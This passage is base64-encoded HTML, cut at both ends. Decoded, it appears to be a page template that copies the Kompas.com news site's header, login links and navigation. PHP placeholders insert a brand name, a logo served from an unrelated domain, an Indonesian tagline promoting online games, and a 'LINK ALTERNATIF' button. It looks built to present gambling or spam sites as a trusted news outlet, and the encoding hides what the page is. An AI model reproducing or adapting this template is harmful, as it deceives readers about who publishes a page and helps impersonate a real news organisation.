OGM2LjQ4IDAgMTEuOTMtMi4xMyAxNS44OS01LjgxbC03LjczLTZjLTIuMTUgMS40NS00LjkyIDIuMy04LjE2IDIuMy02LjI2IDAtMTEuNTctNC4yMi0xMy40Ny05LjkxbC03Ljk4IDYuMTlDNi41MSA0Mi42MiAxNC42MiA0OCAyNCA0OHoiPjwvcGF0aD48cGF0aCBmaWxsPSJub25lIiBkPSJNMCAwaDQ4djQ4SDB6Ij48L3BhdGg+PC9nPjwvc3ZnPjwvZGl2PjxzcGFuIGNsYXNzPSJuc203QmItSHpWN20tTGdic1NlLUJQcldJZCI+U2lnbiBpbiB3aXRoIEdvb2dsZTwvc3Bhbj48c3BhbiBjbGFzcz0iTDZjVGNlIiBpZD0iYnV0dG9uLWxhYmVsIj5TaWduIGluIHdpdGggR29vZ2xlLiBPcGVucyBpbiBuZXcgdGFiPC9zcGFuPjwvZGl2PjwvZGl2PjwvZGl2PjxpZnJhbWUgc3JjPSJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20vZ3NpL2J1dHRvbj90aGVtZT1vdXRsaW5lJmFtcDtzaXplPWxhcmdlJmFtcDtpc19mZWRjbV9zdXBwb3J0ZWQ9dHJ1ZSZhbXA7Y2xpZW50X2lkJmFtcDtpZnJhbWVfaWQ9Z3NpXzYwMDA5OF83NDAwNjkmYW1wO2Nhcz1aZjFqU3JqTmxMQSUyRjJzYUFnaHcxdzh1NVk1YjhpZVREZkxDcENheG1WU1kiIGNsYXNzPSJMNUZvNmMtUFFiTEdlIiBhbGxvdz0iaWRlbnRpdHktY3JlZGVudGlhbHMtZ2V0IiBpZD0iZ3NpXzYwMDA5OF83NDAwNjkiIHRpdGxlPSJTaWduIGluIHdpdGggR29vZ2xlIEJ1dHRvbiIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyBwb3NpdGlvbjogcmVsYXRpdmU7IHRvcDogMHB4OyBsZWZ0OiAwcHg7IGhlaWdodDogMHB4OyB3aWR0aDogMHB4OyBib3JkZXI6IDBweDsiPjwvaWZyYW1lPjwvZGl2PjwvZGl2PgogIAo8ZGl2IGNsYXNzPSJ3cmFwIj4KCgo8IS0tIGhlYWRlci0tPgo8ZGl2IGNsYXNzPSJoZWFkZXIgY2xlYXJmaXgiPgogICAgPGRpdiBjbGFzcz0icm93IGNsZWFyZml4IGhlYWRlcl9fd3JhcCI+CiAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIGNsZWFyZml4IGhlYWRlcl9fcm93Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IGNvbC1vZmZzZXQtZmx1aWQgY2xlYXJmaXgiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWJzMTAtNSBjbGVhcmZpeCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibG9nbyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ijw/PSAkY2Fub25pY2FsID8+IiBkYXRhLWdvb2dsZS1pbnRlcnN0aXRpYWw9ImZhbHNlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN0eWxlPi5sb2dvIGltZyB7d2lkdGg6YXV0bzt9LmxvZ28ge3dpZHRoOmF1dG87fTwvc3R5bGU+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly92cDEudGhldmlsZXByb2plY3QueHl6L2JyYW5kLWxvZ28vPD89ICRicmFuZGxvd2VyID8+L2xvZ28ucG5nIiBhbHQ9Ijw/PSAkYnJhbmR1cHBlciA/PjogU2Vuc2FzaSBEdW5pYSBHYW1lIE9ubGluZSBkZW5nYW4gU2lzdGVtIFBlcm1haW5hbiBBZGFwdGlmIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gPGEgaHJlZj0iaHR0cHM6Ly92aWsua29tcGFzLmNvbS9oYXJhcGFuLWp1cm5hbGlzbWUtYmVya2VsYW5qdXRhbiIgY2xhc3M9ImFubmkyNS1saW5rIj48L2E+IC0tPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtYnMxMC01IGNsZWFyZml4Ij4KICAgICAgICAgICAgICAgICAgICA8IS0tIHNlYXJjaCAtLT4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtYnMxMi04IGNvbC1vZmZzZXQtMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRlci1zZWFyY2gtYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iPD89ICRjYW5vbmljYWwgPz4iIGNsYXNzPSJoZWFkZXItc2VhcmNoIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlkPSJmY1NlYXJjaCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2VhcmNoQm94LXdyYXAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icSIgY2xhc3M9ImhlYWRlci1zZWFyY2gtaW5wdXQiIHZhbHVlPSIiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwbGFjZWhvbGRlcj0iQ2FyaSBnYW1lcyBkaSA8Pz0gJGJyYW5kdXBwZXIgPz4iIGF1dG9jb21wbGV0ZT0ib2ZmIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGlzdD0icG9wdWxlciIgaWQ9ImNTZWFyY2giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImhlYWRlci1zZWFyY2gtYnV0dG9uIiB0eXBlPSJzdWJtaXQiIG5hbWU9IiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJpY29uLXN2ZyBpY29uLXNlYXJjaCI+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9InNlYXJjaENsZWFyIC1jbGVhclN1Ym1pdCIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFyaWEtbGFiZWw9IkNsZWFyIHNlYXJjaCI+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyLXNlYXJjaC1zdWdnZXN0aW9uIHNlYXJjaFN1Z2dlc3QtYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZWFyY2hTdWdnZXN0LWlubmVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2VhcmNoUmVzdWx0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlYXJjaEZpbGwiIGlkPSJhdXRvRmlsbEFydGlrZWwiPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2VhcmNoRmlsbCIgaWQ9ImVudGVyUmVzdWx0Ij48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlYXJjaFJlc3VsdCIgaWQ9ImVudGVyUmVzdWx0QXJ0aWNsZSI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBzOiBzdWdnZXN0aW9uIHNlYXJjaC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJzZWFyY2hTdWdnZXN0QmVmb3JlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InNlYXJjaFN1Z2dlc3RMYXN0Ij48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRhcmstaGVhZGVyLWl0ZW0iPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkYXJrLXdyYXBwZXIganMtZGFya1dyYXBwZXIgLWFjdGl2ZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ1dHRvbi1kZWZhdWx0IGpzLWRhcmtTZXR0ZXIiIGlkPSJtZW51LWRhcmttb2RlIiBhcmlhLWxhYmVsPSJBdHVyIG1vZGUiIGFyaWEtZXhwYW5kZWQ9ImZhbHNlIiBhcmlhLWNvbnRyb2xzPSJkYXJrbW9kZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9Imljb24tc3ZnIGljb24tZGFya21vZGUiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRhcmstc2V0dGluZyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgcm9sZT0iYnV0dG9uIiBjbGFzcz0iYnV0dG9uIGRhcmstbGluayBqcy1kYXJrVG9nZ2xlIC1hY3RpdmUiIGRhdGEtZGFyaz0ic3lzdGVtIj5PdG9tYXRpczwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgcm9sZT0iYnV0dG9uIiBjbGFzcz0iYnV0dG9uIGRhcmstbGluayBqcy1kYXJrVG9nZ2xlIiBkYXRhLWRhcms9ImRhcmsiPk1vZGUgR2VsYXA8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIHJvbGU9ImJ1dHRvbiIgY2xhc3M9ImJ1dHRvbiBkYXJrLWxpbmsganMtZGFya1RvZ2dsZSIgZGF0YS1kYXJrPSJsaWdodCI+TW9kZSBUZXJhbmc8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPCEtLSA8ZGl2IGNsYXNzPSJsb3lhbHR5X19saW5rIiBpZD0ibG95YWx0eV9rb2luIiBzdHlsZT0iZGlzcGxheTogbm9uZSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8vcGxheS5rb21wYXMuY29tL2xveWFsdHkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9Imljb24tc3ZnIGljb24ta29pbiI+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImxveWFsdHlfX2xpbmtfX3RleHQiPktvaW48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0ibG95YWx0eV9fbGlua19fYmFkZ2UgYWN0aXZlIj48L2k+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4gLS0+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBwbGF5IGljb24gLS0+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtcGx1cyI+CgkgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ijw/PSAkYW1waHRtbCA/PiIgY2xhc3M9ImJ1dHRvbi1kZWZhdWx0IGFjdGl2ZSIgcm9sZT0ibGluayIgaWQ9Im1lbnUtcGx1cyIgYXJpYS1sYWJlbD0iPD89ICRicmFuZHVwcGVyID8+Ij4KCSAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJpY29uLXN2ZyBpY29uLXBsdXMiIGFyaWEtaGlkZGVuPSJ0cnVlIj4KCSAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyNS8wMy8wNS8xNTM1L2ljb24ta3BsdXMuZ2lmIiBhbHQ9Ikljb24gS29tcGFzY29tKyI+CgkgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CgkgICAgICAgICAgICAgICAgICAgIDwvYT4KCSAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNzb19faGVhZGVyIGNvbC1iczEyLTQiPgogICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9InNzb19fd3JhcCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9InNzb19faXRlbSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9InNzb19fbGluayBzc29fX2xpbmtfX2ljb24ganMtc3NvLXVzZXIiIGhyZWY9Ijw/PSAkYW1waHRtbCA/PiIgcmVsPSJub2ZvbGxvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJzc29fX2ljb25fX2xvZ2luIiBpZD0ic3NvX19pY29uX19sb2dpbl90b3AiPjwvaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9InNzb19fYmFkZ2UiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+PC9pPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzc29fX29wdGlvbiAtZml4ZWQgLWhpZGUganMtc3NvLXVzZXItYm9hcmQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgaWQ9InNzb19faXRlbSI+PGEgaWQ9InR4dF9zaWduaW4iIGhyZWY9Imh0dHBzOi8vYWNjb3VudC5rb21wYXMuY29tL2xvZ2luL2EyOXRjR0Z6L2FIUjBjSE02THk5M2QzY3VhMjl0Y0dGekxtTnZiUzlxWVhkaExXSmhjbUYwTDNKbFlXUXZNakF5TlM4d09TOHdOQzh4TnpJd01EQXpPRGd2YTI5dGNHOXNMV052YzIxaGN5MWthWEJsWTJGMExYUnBaR0ZyTFdodmNtMWhkQzF3WlhKdVlXZ3RkR1Z5YzJWeVpYUXRhMkZ6ZFhNdGNHVnVlV2x5WVcxaGJnPT0iPjxzcGFuPjxpIGNsYXNzPSJzc29fX2ljb25fX2xvZ2luIj48L2k+IExvZ2luPC9zcGFuPjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjwvbGk+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSA8bGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly9hY3Rpdml0eS5rb21wYXMuY29tL3ZvdWNoZXI/c291cmNlPW5hdmJhciIgY2xhc3M9Im15dmFsdWVfX2J0biAtbmV3Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+PGRpdiBjbGFzcz0ibXl2YWx1ZV9faWNvbiI+PGltZyBjbGFzcz0ibG96YWQiIGRhdGEtc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDI0L215dmFsdWUvZGVza3RvcC9pbWFnZXMvaWNvbi1teXZhbHVlLnBuZyIgYWx0PSIiPjwvZGl2PiBWb3VjaGVyPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJteXZhbHVlX19idG5fX3dyYXAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibXl2YWx1ZV9faWNvbiI+PGltZyBjbGFzcz0ibG96YWQiIGRhdGEtc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDI0L215dmFsdWUvZGVza3RvcC9pbWFnZXMvaWNvbi1teXZhbHVlLWdpZi5naWYiIGFsdD0iIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPkFkYSB2b3VjaGVyIGJ1YXQga2FtdTwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4gLS0+CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iPD89ICRhbXBodG1sID8+Ij48c3Bhbj48aSBjbGFzcz0ic3NvX19pY29uX19zdWJzY3JpcHRpb24iPjwvaT4gR2FidW5nIDw/PSAkYnJhbmR1cHBlciA/PjxpIGNsYXNzPSJzc29fX2JhZGdlX19pbmxpbmUiPjwvaT48L3NwYW4+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSJodHRwczovL2FjdGl2aXR5LmtvbXBhcy5jb20vc2F2ZWQiPjxzcGFuPjxpIGNsYXNzPSJzc29fX2ljb25fX2Jvb2ttYXJrIj48L2k+IEtvbnRlbiB5YW5nIGRpc2ltcGFuPC9zcGFuPjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iaHR0cHM6Ly9hY3Rpdml0eS5rb21wYXMuY29tL2xpa2VkIj48c3Bhbj48aSBjbGFzcz0ic3NvX19pY29uX19saWtlZCI+PC9pPiBLb250ZW4geWFuZyBkaXN1a2FpPC9zcGFuPjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjwvbGk+CgkJICAgICAgICAgICAgICAgICAgICAJCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly9hY3Rpdml0eS5rb21wYXMuY29tL21pbmF0Ij48c3Bhbj48aSBjbGFzcz0ic3NvX19pY29uX19pbnRlcmVzdCI+PC9pPiBBdHVyIE1pbmF0PC9zcGFuPjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgaWQ9ImZlZWRiYWNrX19pdGVtIj48YSBocmVmPSJodHRwczovL3d3dy5rb21wYXMuY29tL2ZlZWRiYWNrIj48c3Bhbj48aSBjbGFzcz0ic3NvX19pY29uX19ub3RpZiI+PC9pPiBCZXJpa2FuIE1hc3VrYW5tdSA8aSBjbGFzcz0ic3NvX19iYWRnZV9faW5saW5lIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPjwvaT48L3NwYW4+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ia2lkX193cmFwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Ijw/PSAkYW1waHRtbCA/PiIgcmVsPSJub2ZvbGxvdyIgY2xhc3M9ImtpZF9fYnV0dG9uIj5MSU5LIEFMVEVSTkFUSUY8L2E+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPCEtLSBuYXYtLT4KICAgIDxkaXYgY2xhc3M9ImpzLW5hdi1vZmZzZXQiPjwvZGl2PgogICAgPGRpdiBjbGFzcz0icm93IGNsZWFyZml4IG5hdiI+CiAgICAgICAgPCEtLSAoYWRzLnNraW4uZnVsbCkgLS0+CiAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIGNsZWFyZml4IG5hdl9fd3JhcCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxvZ28gbG9nby0tc3RpY2t5Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iPD89ICRjYW5vbmljYWwgPz4iPjxpbWcgY2xhc3M9ImxvemFkIiBkYXRhLXNyYz0iaHR0cHM6Ly92cDEudGhldmlsZXByb2plY3QueHl6L2JyYW5kLWxvZ28vPD89ICRicmFuZGxvd2VyID8+L2xvZ28ucG5nIiBhbHQ9Ijw/PSAkYnJhbmR1cHBlciA/PjogU2Vuc2FzaSBEdW5pYSBHYW1lIE9ubGluZSBkZW5nYW4gU2lzdGVtIFBlcm1haW5hbiBBZGFwdGlmIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAKICAgICAgICAgICA8dWwgY2xhc3M9Im5hdl9fcm93IGNsZWFyZml4Ij4KICAgIDxsaSBjbGFzcz0ibmF2X19pdGVtIj4KICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19saW5rIG5hdl9fbGluay0tbmV3cyI+TmV3czwvYT4KICAgICAgICA8dWwgY2xhc3M9Im5hdl9fc3ViIG5hdl9fc3ViLS1uZXdzIj4KICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXZfX3N1YndyYXAiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2X19zdWJpdGVtIj4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5OYXNpb25hbDwvYT4gICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5HbG9iYWw8L2E+ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+TWVnYXBvbGl0YW48L2E+ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+UmVnaW9uYWw8L2E+ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+UGVtaWx1PC9hPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsiPkh5cGU8L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+S29uc3VsdGFzaSBIdWt1bTwvYT4gICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5DZWsgRmFrdGE8L2E+ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+U3VyYXQgUGVtYmFjYTwvYT4gICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5JbmRla3M8L2E+ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdl9fc3ViaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayBuYXZfX3N1YmxpbmstLWhvdCI+S2lsYXMgRGFlcmFoPC9hPiAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsgbmF2X19zdWJsaW5rLS1ob3QiPktpbGFzIEtvcnBvcmFzaTwvYT4gICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIG5hdl9fc3VibGluay0taG90Ij5LaWxhcyBLZW1lbnRlcmlhbjwvYT4gICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIG5hdl9fc3VibGluay0taG90Ij5Tb3JvdCBQb2xpdGlrPC9hPiAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsgbmF2X19zdWJsaW5rLS1ob3QiPktpbGFzIEJhZGFuIE5lZ2FyYTwvYT4gICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIG5hdl9fc3VibGluay0taG90Ij5LZWxhbmEgSW5kb25lc2lhPC9hPiAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsgbmF2X19zdWJsaW5rLS1ob3QiPkthbGJlIEhlYWx0aCBDb3JuZXI8L2E+ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayBuYXZfX3N1YmxpbmstLWhvdCI+S2lsYXMgUGFybGVtZW48L2E+ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayBuYXZfX3N1YmxpbmstLWhvdCI+S2lsYXMgQlVNTjwvYT4gICAgICAgICAgICAKICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2xpPgogICAgICAgIDwvdWw+CiAgICA8L2xpPgogICAgPGxpIGNsYXNzPSJuYXZfX2l0ZW0iPgogICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX2xpbmsgbmF2X19saW5rLS1udXNhcmF5YSI+Tn